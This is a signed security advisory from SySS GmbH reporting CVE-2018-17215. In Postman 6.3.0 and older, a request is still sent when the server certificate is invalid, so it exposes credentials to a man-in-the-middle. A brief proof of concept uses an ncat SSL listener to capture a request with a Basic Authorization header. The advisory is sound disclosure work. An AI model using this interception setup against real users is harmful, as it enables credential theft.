Postman 6.3.0 Improper Certificate Validation

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Advisory ID: SYSS-2018-016  
Product: Postman (standalone)  
Manufacturer: Postman  
Affected Version(s): 6.3.0 and older  
Tested Version(s): 6.2.2 x64 (Windows and Linux), 6.3.0  
Vulnerability Type: Improper Certificate Validation (CWE-295)   
Risk Level: Medium  
Solution Status: Open  
Manufacturer Notification: 2018-08-01  
Solution Date: -  
Public Disclosure: -  
CVE Reference: CVE-2018-17215  
Author of Advisory: Ludwig Stage, SySS GmbH  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
Postman is a feature-rich REST client.  
  
The manufacturer describes the product as follows (see [1]):  
  
"Postman is the most complete toolchain for API development  
* The most-used REST client worldwide  
* Designed from the ground up to support the API developer  
* Intuitive user interface to send requests, save responses, add tests,  
and create workflows"  
  
Due to improper certificate validation, Postman is vulnerable to  
man-in-the-middle attacks.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
Postman validates the server's certificate and presents an error if the  
certificate is not valid. Unfortunately, the HTTP request is sent  
anyway. Only the response is not displayed. Thus, all contained  
information of the HTTP request is disclosed, for example user  
credentials.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
1. Open ncat SSL listener: ncat --ssl -l 8888 -k  
2. Send GET request to URL in Postman: https://10.0.0.2:8888/postmanssl  
3. Get error in Postman:  
  
"Could not get any response  
There was an error connecting to https://10.0.0.2:8888/postmanssl.  
  
Why this might have happened:  
The server couldn't send a response:  
Ensure that the backend is working properly  
Self-signed SSL certificates are being blocked:  
Fix this by turning off 'SSL certificate verification' in Settings > General  
Proxy configured incorrectly  
Ensure that proxy is configured correctly in Settings > Proxy  
Request timeout:  
Change request timeout in Settings > General"  
  
4. See HTTP GET request via ncat anyway:  
  
GET /postmanssl HTTP/1.1  
cache-control: no-cache  
Postman-Token: 606e036d-9b05-449d-9347-c511ef322d28  
Authorization: Basic bmljZTp0cnk=  
User-Agent: PostmanRuntime/7.2.0  
Accept: */*  
Host: 10.0.0.2:8888  
accept-encoding: gzip, deflate  
Connection: keep-alive  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
  
More Information:  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2018-07-17: Vulnerability discovered  
2018-08-01: Vulnerability reported to manufacturer  
2018-08-08: Contacted the manufacturer again  
: Patch released by manufacturer  
: Public disclosure of vulnerability  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product website for Postman  
https://www.getpostman.com/postman  
[2] SySS Security Advisory SYSS-2018-016  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-016.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Ludwig Stage of SySS GmbH.  
  
E-Mail: [email protected]  
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Ludwig_Stage.asc  
Key Fingerprint: C2FF F40D FC78 791E EF81 20DF 4B57 48C9 53A5 EE5E  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
-----BEGIN PGP SIGNATURE-----  
  
iQIzBAEBCgAdFiEEwv/0Dfx4eR7vgSDfS1dIyVOl7l4FAlujRGMACgkQS1dIyVOl  
7l6s5BAA0E7OrF4jRnExUT9rnSnr2+QcsI81iCnHwMZNaxlxVANmw638vaBlRv0t  
F1lEZGSA0mRWcLeObiZxzygZj9dgXBZugs9/Si1OKbE0IqraPvgfMV3hsVYUTSRf  
iIMFKbVRKuul/xJctw9nybPzPnbzUjAUyY+Vyu00IrAyCT41ZcXSqg3Xg9TeUDr7  
CubMQNuXKawCNqGy/v9bXxBxzRz6Oldz4x7w3cWcgVmyRhdfI1twUtEdChX97AvO  
6e3NQZcz31WJ/9YktNptwFUhD3s3I7tFc/4dhu6D2peUMFGD/gSbd8NduT72AVJH  
fpRl/rROx/JMamZfZ3J+EDtWmqq0jZ1e2HJAd7uHx58CIoC/HiuWndZQ5sUXfbND  
+QI6V7JKz24ffNNRHYfGvHXInwViCsFHgJUFok6IAyDmo2bQO15YLzeA+OLyGUr/  
NcbX49QQsXXWty0tY3TmNKOHm1Z6v5yhgxrkaE61n05zuUh2udfEyjVvX5pjdrkw  
VZB8u6pkmdaS3nJ/IH9F9J9NHU1c0gz/WtCQUXKWQXW3BAqA1tOyZHTXTDSA0UPv  
TVuibVKg9puU13Sdy6vzf/hVVvIikonVFrSd6Hs4lWj9P5nBMtYyI1IEcOJLUYWi  
nOhRD5pw3z1RrEaZWlAxqsGwiBMx+FW8HZD2X2nSV+dJh1Xqz58=  
=9Tnk  
-----END PGP SIGNATURE-----  
`